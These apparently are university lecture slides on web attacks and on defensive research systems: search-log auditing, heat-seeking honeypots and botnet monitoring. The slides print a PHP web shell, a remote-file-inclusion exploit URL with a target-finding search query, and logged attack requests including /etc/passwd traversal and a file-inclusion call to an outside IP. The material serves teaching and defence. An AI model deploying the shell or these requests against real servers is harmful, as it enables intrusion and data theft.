Malice on the Internet
A Peek into Today’s Security Attacks

Arvind Krishnamurthy
Bit of History: Morris Worm

- Worm was released in 1988 by Robert Morris
  - Graduate student at Cornell, son of NSA scientist
- Worm was intended to propagate slowly and harmlessly measure the size of the Internet
- Due to a coding error, it created new copies as fast as it could and overloaded infected machines
- $10-100M worth of damage
  - Convicted under Computer Fraud and Abuse Act, sentenced to 3 years of probation
  - Now an EECS professor at MIT
Morris Worm and Buffer Overflow

• One of the worm’s propagation techniques was a buffer overflow attack against a vulnerable version of fingerd on VAX systems

• By sending a special string to the finger daemon, worm caused it to execute code creating a new worm copy

• Unable to determine remote OS version, worm also attacked fingerd on Suns running BSD, causing them to crash (instead of spawning a new copy)
Buffer Overflow Attacks Over Time

- Used to be a very common cause of Internet attacks
  - 50% of advisories from CERT in 1998
- Morris worm (1988): overflow in fingerd
  - 6,000 machines infected
  - 300,000 machines infected in 14 hours
- SQL Slammer (2003): overflow in MS-SQL server
  - 75,000 machines infected in 10 minutes
- Question: how effective are buffer overflow attacks today?
Today’s Security Landscape

• How are today’s attacks executed?
• How can we defend against them?
• What are the economic incentives?
Economic Incentives

- Phishing
- Steal personal information
- Click Fraud
- DDoS (distributed denial of service)
- Compromise machines to perform all of the above
Example 1

- Phishing campaign to steal critical information
Example 2

- Compromising website that downloads malware
Typical Timeline

1. Search for vulnerable webservers
2. Compromise webserver
3. Host phishing/malware page
4. Propagate link to potential victims
5. Compromised machine joins a Botnet
Devising Defenses

• Comprehensive defense is necessary
• Measure and understand
• Learn from attacker’s actions
• Infiltration is an effective technique
Typical Timeline

1. Search for vulnerable webservers
2. Compromise webserver
3. Host phishing/malware page
4. Propagate link to potential victims
5. Compromised machine joins a Botnet

Thursday, November 4, 2010
Typical Timeline

- Step 1: Compromise a popular webserver
  - Target popular webservers because they are likely to attract more web traffic
  - How does the attacker find a server to compromise?
The dark side of Search Engines

- Poorly configured servers may expose sensitive information
- Attackers can craft malicious queries
  
  "index of /etc"

- Find misconfigured or vulnerable servers
Finding vulnerable servers

**DatalifeEngine 8.2 Remote File Inclusion Vulnerability**

```plaintext
+---------------------------------- Exploit +----------------------------------

---

<<->> search term : Powered By DataLife Engine
<<->> Exploit :

>>> www.site/path/engine/api/api.class.php?dle_config_api=[shell.txt?]"
Finding vulnerable servers

DatalifeEngine 8.2 Remote File Inclusion Vulnerability

+---------------------------------+ Exploit +---------------------------------

<--> search term : Powered By DataLife Engine

<--> Exploit : :

>>> www.site/path /engine/api/api.class.php?dle_config_api=[shell.txt?]
Finding vulnerable servers

DatalifeEngine 8.2 Remote File Inclusion Vulnerability

+-------------------------------------------------------+ Exploit +-------------------------------------------------------+

search term: Powered By DataLife Engine

Exploit:

>>> www.site/path/engine/api/api.class.php?dle_config_api=[shell.txt?]
Finding vulnerable servers

DatalifeEngine 8.2 Remote File Inclusion Vulnerability

Exploit

search term: Powered By DataLife Engine

www.site/path/engine/api/api.class.php?dle_config_api=[shell.txt?]
Defense: “Search Engine Audits”

- Identify malicious queries issued by an attacker
  - can filter results for such queries

- Study and gain insights
  - follow attackers trail and understand objectives
  - detect attacks earlier
Our dataset

- Bing search logs for 3 months
- 1.2 TB of data
- Billions of queries
SearchAudit: the approach

- Two stages: Identification & Investigation

  - Identification
    1. Start with a few known malicious queries (seed set)
    2. Expand the seed set
    3. Generalize

  - Investigation
    - Analyze identified queries to learn more about attacks
The seed set
The seed set

- Hackers post such malicious queries in underground forums
The seed set

<table>
<thead>
<tr>
<th>Date</th>
<th>Description</th>
<th>Hits</th>
<th>Author</th>
</tr>
</thead>
<tbody>
<tr>
<td>2009-09-14</td>
<td>Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit</td>
<td>1435</td>
<td>ikkI</td>
</tr>
<tr>
<td>2009-09-11</td>
<td>IBM AIX 5.6/6.1 _LIB_INITDBG Arbitrary File Overwrite via Libc Debug</td>
<td>2480</td>
<td>Marco Ivaldi</td>
</tr>
<tr>
<td>2009-09-11</td>
<td>FreeRadius &lt; 1.1.8 Remote Packet of Death Exploit (CVE-2009-3111)</td>
<td>2237</td>
<td>Matthew Gillespie</td>
</tr>
<tr>
<td>2009-09-10</td>
<td>Enlightenment - Linux Null PTR Dereference Exploit Framework</td>
<td>3375</td>
<td>spender</td>
</tr>
<tr>
<td>2009-09-09</td>
<td>Pidgin MSN &lt;= 2.5.8 Remote Code Execution Exploit</td>
<td>7599</td>
<td>Pierre Nogues</td>
</tr>
<tr>
<td>2009-09-09</td>
<td>Linux Kernel 2.4/2.6 sock_sendpage() Local Root Exploit [2]</td>
<td>5119</td>
<td>Ramon Valle</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Date</th>
<th>Description</th>
<th>Hits</th>
<th>Author</th>
</tr>
</thead>
<tbody>
<tr>
<td>2009-09-14</td>
<td>Mozilla Firefox 2.0.0.16 UTF-8 URL Remote Buffer Overflow Exploit</td>
<td>1291</td>
<td>dmc</td>
</tr>
<tr>
<td>2009-09-14</td>
<td>IPSwitch IMAP Server &lt;= 9.20 Remote Buffer Overflow Exploit</td>
<td>564</td>
<td>dmc</td>
</tr>
<tr>
<td>2009-09-14</td>
<td>Techlogica HTTP Server 1.03 Arbitrary File Disclosure Exploit</td>
<td>387</td>
<td>ThE g0bL1N</td>
</tr>
<tr>
<td>2009-09-14</td>
<td>Oracle Secure Backup Server 10.3.0.1.0 Auth Bypass/RCI Exploit</td>
<td>1435</td>
<td>ikkI</td>
</tr>
<tr>
<td>2009-09-11</td>
<td>Mozilla Firefox &lt; 3.0.14 Multiplatform RCE via pkcs11.addmodule</td>
<td>4599</td>
<td>Dan Kaminsky</td>
</tr>
<tr>
<td>2009-09-11</td>
<td>Kolibri+ Web Server 2 Remote Arbitrary Source Code Disclosure #2</td>
<td>994</td>
<td>Dr_IDE</td>
</tr>
</tbody>
</table>
The seed set

- Hackers post such malicious queries in underground forums
- We crawl these forums to find such posts
- We used 500 seed queries posted between May ’06 - August ’09
Seed set expansion

- Seed queries
- Seed queries
- Seed queries

Search log

Seed query IPs

Expanded query set
Seed set expansion

Seed set is small and incomplete

To expand the small seed set:

1. Find exact query match from search logs
2. Find IPs which performed these malicious queries
3. Mark other queries from these IPs as suspect
Generalize the queries

- Seed queries
- Seed query IPs
- Expanded query set
- Regular expressions
- Search log
- Attackers' queries + results
- Regular expression engine

- Exact queries are too specific at times
- Problem if queries are modified slightly
- Solution: Regular Expressions
  - captures the structure of the query
  - match similar queries in the future
Generalize the queries

- Exact queries are too specific at times
- Problem if queries are modified slightly
- Solution: Regular Expressions
  - captures the structure of the query
  - match similar queries in the future
A quantitative example

Seed queries

Unique Queries  122
IPs            174
A quantitative example

Seed queries

<table>
<thead>
<tr>
<th>Unique Queries</th>
<th>Seed</th>
<th>Expanded set</th>
</tr>
</thead>
<tbody>
<tr>
<td>122</td>
<td></td>
<td>800</td>
</tr>
<tr>
<td>IPs</td>
<td>174</td>
<td>264</td>
</tr>
</tbody>
</table>
A quantitative example

<table>
<thead>
<tr>
<th></th>
<th>Seed queries</th>
<th>Expanded set</th>
<th>RegEx match</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Unique Queries</strong></td>
<td>122</td>
<td>800</td>
<td>3560</td>
</tr>
<tr>
<td><strong>IPs</strong></td>
<td>174</td>
<td>264</td>
<td>1001</td>
</tr>
</tbody>
</table>

Thursday, November 4, 2010
Looping back

• We now have a larger set of malicious queries

• These can be fed back to SearchAudit as a new set of seeds
Architecture

- Seed queries
- Loop back seed queries
- Search log
- Seed query IPs
- Expanded query set
- Regular expressions
- Regular expression engine
- Attackers' queries + results

Thursday, November 4, 2010
## A quantitative example

<table>
<thead>
<tr>
<th></th>
<th>Seed queries</th>
<th>Expanded set</th>
<th>RegEx match</th>
<th>RegEx match + loopback</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Unique queries</strong></td>
<td>122</td>
<td>800</td>
<td>3560</td>
<td>~540k</td>
</tr>
<tr>
<td><strong>IPs</strong></td>
<td>174</td>
<td>264</td>
<td>1001</td>
<td>~40k</td>
</tr>
</tbody>
</table>

Total pageviews: 9M+
Typical Timeline

1. Search for vulnerable webservers
2. Compromise webserver
3. Host phishing/malware page
4. Propagate link to potential victims
5. Compromised machine joins a Botnet
An Example

• OSCommerce is a web software for managing shopping carts

• Compromise is simple: just upload a file!
  • If http://www.example.com/store is the site, upload a file by issuing a post on:
  • Post argument provides the file to be uploaded
  • Uploaded file is typically a graphical command interpreter
Command Module

- Allows hacker to navigate through the file system, upload new files, perform brute force password cracking, open a network port, etc.
<?php
    $e = @$_POST['e'];
    $s = @$_POST['s'];
    if($e) {
        eval($e);
    }
    if($s) {
        system($s);
    }
    if($_FILES['f']['name']!='') {
        move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);
    }
?>
Web Honeypots

• First goal is to understand what techniques are being used to compromise
• Setup *web honeypots* that appear attractive to attackers
• Log all interactions with attackers
Options

- *Install* popular vulnerable software
- Create *front pages* that appear to be running vulnerable software
- *Proxy* requests to website running vulnerable software

**Issues:**
- Manual overhead in installing specific packages
- High interaction vs. low interaction honeypots
Heat-Seeking Honeypots

1. Malicious query feed
2. Search results
3. Web pages
4. Add to search engine index
5. Query
6. Attack request
7. Attack log

World Wide Web

HEAT-SEEKING HONEYPOT

Encapsulated pages

Webapp

Apache

VM

Query

Attackers

Thursday, November 4, 2010
Heat-Seeking Honeypots

Step 1: obtain malicious queries from SearchAudit

Thursday, November 4, 2010
Heat-Seeking Honeypots

• Step 2: search Bing/Google to obtain front pages of the corresponding vulnerable software

Thursday, November 4, 2010
Step 3: obtain sample pages, automatically generate new pages based on this content

Thursday, November 4, 2010
Step 4: populate search engines with honeypot pages
Heat-Seeking Honeypots

Steps 5-7: interact with hacker
Results

- Automatically generated 96 honeypot pages and manually installed 4 software packages
- Many pages saw 1000s of attack visits
## Typical Attacks

<table>
<thead>
<tr>
<th>Category</th>
<th>Description</th>
<th>Example</th>
<th>Traffic (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADMIN</td>
<td>Find administrator console</td>
<td>GET, POST /store/admin/login.php</td>
<td>1.00</td>
</tr>
<tr>
<td>COMMENT</td>
<td>Post spam in comment or forum</td>
<td>POST /forum/reply.php?do=newreply&amp;t=12</td>
<td></td>
</tr>
<tr>
<td>FILE</td>
<td>Access files on filesystem</td>
<td>GET /cgi-bin/img.pl?f=../etc/passwd</td>
<td>43.57</td>
</tr>
<tr>
<td>INSTALL</td>
<td>Access software install script</td>
<td>GET /phpmyadmin/scripts/setup.php</td>
<td>12.47</td>
</tr>
<tr>
<td>PASSWD</td>
<td>Brute-force password attack</td>
<td>GET joomla/admin/?uppass=superman1</td>
<td>2.68</td>
</tr>
<tr>
<td>PROXY</td>
<td>Check for open proxy</td>
<td>GET <a href="http://www.wantsfly.com/prx2.php">http://www.wantsfly.com/prx2.php</a></td>
<td>0.40</td>
</tr>
<tr>
<td>RFI</td>
<td>Look for remote file inclusion (RFI) vulnerabilities</td>
<td>GET /ec.php?l=<a href="http://213.41.16.24/t/c.in">http://213.41.16.24/t/c.in</a></td>
<td>10.94</td>
</tr>
<tr>
<td>SQLI</td>
<td>Look for SQL injection vulnerabilities</td>
<td>GET /index.php?option=c'</td>
<td>1.40</td>
</tr>
<tr>
<td>XMLRPC</td>
<td>Look for the presence of a certain xmlrpc script</td>
<td>GET /blog/xmlrpc.php</td>
<td>18.97</td>
</tr>
<tr>
<td>XSS</td>
<td>Check for cross-site-scripting (XSS)</td>
<td>GET /index.html?umf=&lt;script&gt;foo&lt;/script&gt;</td>
<td>0.19</td>
</tr>
<tr>
<td>OTHER</td>
<td>Everything else</td>
<td></td>
<td>8.40</td>
</tr>
</tbody>
</table>
Typical Timeline

- Search for vulnerable webservers
- Compromise webserver
- Host phishing/malware page
- Propagate link to potential victims
- Compromised machine joins a Botnet

Thursday, November 4, 2010
Propagate Links

• Users are presented links in settings that they trust:
  • Send spam emails
  • Spam forums and IMs
  • Trick search engines into presenting these links with search results. Typically referred to as Search Engine Optimization (SEO)

• This is called social engineering.
Search Engine Optimization

Thursday, November 4, 2010
On compromised servers:

- Publish pages containing *Google Trends* keywords
- Page content itself generated from Google results
- Compromised servers all link to each other to boost page rank
- Page presented to search engine is different from what is presented to the user (called *cloaking*)
  - Search engine sees non-malicious page
  - User access redirects to a page serving malware
Defense?

- Question: thoughts on how to defend against SEO techniques?
Typical Timeline

1. Search for vulnerable webservers
2. Compromise webserver
3. Host phishing/malware page
4. Propagate link to potential victims
5. Compromised machine joins a Botnet

Thursday, November 4, 2010
Botnets still a mystery...

- Increasing awareness, but there is a dearth of hard facts especially in real-time
- Meager network-wide cumulative statistics
- Sparse information regarding individual botnets
- Most analysis is post-hoc
BotLab Goals

To build a *botnet monitoring platform* that can track the activities of the *most significant spamming botnets* currently operating in *real-time*
BotLab Design

- **Attribution**: run actual binaries and monitor behavior without causing harm
- **Active** as opposed to passive collection of binaries
- **Correlate** incoming spam with outgoing spam
I. Malware Collection

Incoming Spam

Internet

TOR

Malware Crawler

Archival Storage

Message Summary DB

Relay IPs
Subject
URLs
Headers
I. Malware Collection

- Active crawling of spam URLs
I. Malware Collection

- Active crawling of spam URLs
- 100K unique URLs/day; 1% malicious
1. Malware Collection

- Active crawling of spam URLs
- 100K unique URLs/day; 1% malicious
- Most URLs hosted on legitimate (compromised) web servers
2. Network Fingerprinting

- Goal: find new bots while discarding duplicates
- Simple hash is insufficient
- Execute binaries and generate a fingerprint, which is a sequence of flow records
- Each flow record defined by (DNS, IP, TCP/UDP)
- Execute both inside and outside of VM to check for VM detection
- Execute multiple times as some bots issue random flows (e.g., Google searches)
3. Monitor Running Bots

- Execute bots and trap all spam they send
- But need to *manually tweak* bots to get them to run
Manual Adjustments

- SMTP verification
- One bot sent email to special server, which is verified later by the C&C server
Manual Adjustments

- SMTP verification
- One bot sent email to special server, which is verified later by the C&C server
Manual Adjustments

- SMTP verification
- One bot sent email to special server, which is verified later by the C&C server
Manual Adjustments

- SMTP verification
- One bot sent email to special server, which is verified later by the C&C server

Thursday, November 4, 2010
Manual Adjustments

- SMTP verification
  - One bot sent email to special server, which is verified later by the C&C server
Manual Adjustments

- SMTP verification
- One bot sent email to special server, which is verified later by the C&C server

Test Email

Special mail server

Message code #$#@

Code $%@@

C&C server

Thursday, November 4, 2010
Coaxing Bots to Run

- Some bots send spam using webservices (such as HotMail)
- C&C servers are setup to blacklist suspicious IP ranges
- Bots with 100% email delivery rate are considered suspicious
- Fortunately only $O(10)$ botnets; so manual tweaking possible
4. Clustering/Correlation Analysis

- Two sources of information:
  - Spam sent by bots running in BotLab (*Outgoing Spam*)
  - Spam received by UW (*Incoming Spam*)
4. Clustering/Correlation Analysis

- Two sources of information:
  - Spam sent by bots running in BotLab (*Outgoing Spam*)
  - Spam received by UW (*Incoming Spam*)
Combining our spam sources
Combining our spam sources

• Observation:
  • Spam subjects are carefully chosen
  • NO overlap in subjects sent by different botnets (489 subjects/day per botnet)

• Solution: Use subjects to attribute spam to particular botnets
Who is sending all the spam?

- 21% Unknown
- 35% Srizbi
- 16% MegaD
- 20% Rustock
- 4% Kraken
- 3% Pushdo
- 1% Storm

Average over 50 days

The Internet

Thursday, November 4, 2010
Who is sending all the spam?

79% of the spam came from just 6 botnets!

- Srizbi: 35%
- Rustock: 20%
- MegaD: 16%
- Kraken: 4%
- Pushdo: 3%
- Storm: 1%

Average over 50 days

Thursday, November 4, 2010
Botnets and spam campaigns

- We define a spam campaign by the contents of the webpage the spam URL points to
Botnets and spam campaigns

- We define a spam campaign by the contents of the webpage the spam URL points to.
Botnets and spam campaigns

- We define a spam campaign by the contents of the webpage the spam URL points to.
Botnets and spam campaigns

- We define a spam campaign by the contents of the webpage the spam URL points to.
- We found the mapping between botnets and spam campaigns to be many-to-many.
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
Where are campaigns hosted?

• How does the Web hosting infrastructure relate to the botnets?
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
- Does all spam sent from one botnet point to a single set of web servers?
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
- Does all spam sent from one botnet point to a single set of web servers?
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
- Our data shows a many-to-many mapping
- Suggests hosting spam campaigns is a 3rd party service and not tied to botnets
Where are campaigns hosted?

- How does the Web hosting infrastructure relate to the botnets?
- Our data shows a *many-to-many* mapping
- Suggests *hosting spam campaigns* is a 3rd party service and not tied to botnets

- 80% of spam points to just 57 Web server IPs
Summary

• Today’s security landscape is very complex
• Multi-pronged defense strategy is required to address many of these attacks
  • SearchAudit, Web honeypots, BotLab are few defensive systems that we have developed
• Monitoring attackers often reveals new attacks
• Infiltration is an effective technique, but has to be done carefully to ensure safety

Thursday, November 4, 2010
• More questions? Just toss me an email (arvind@cs) or stop by my office (CSE 544).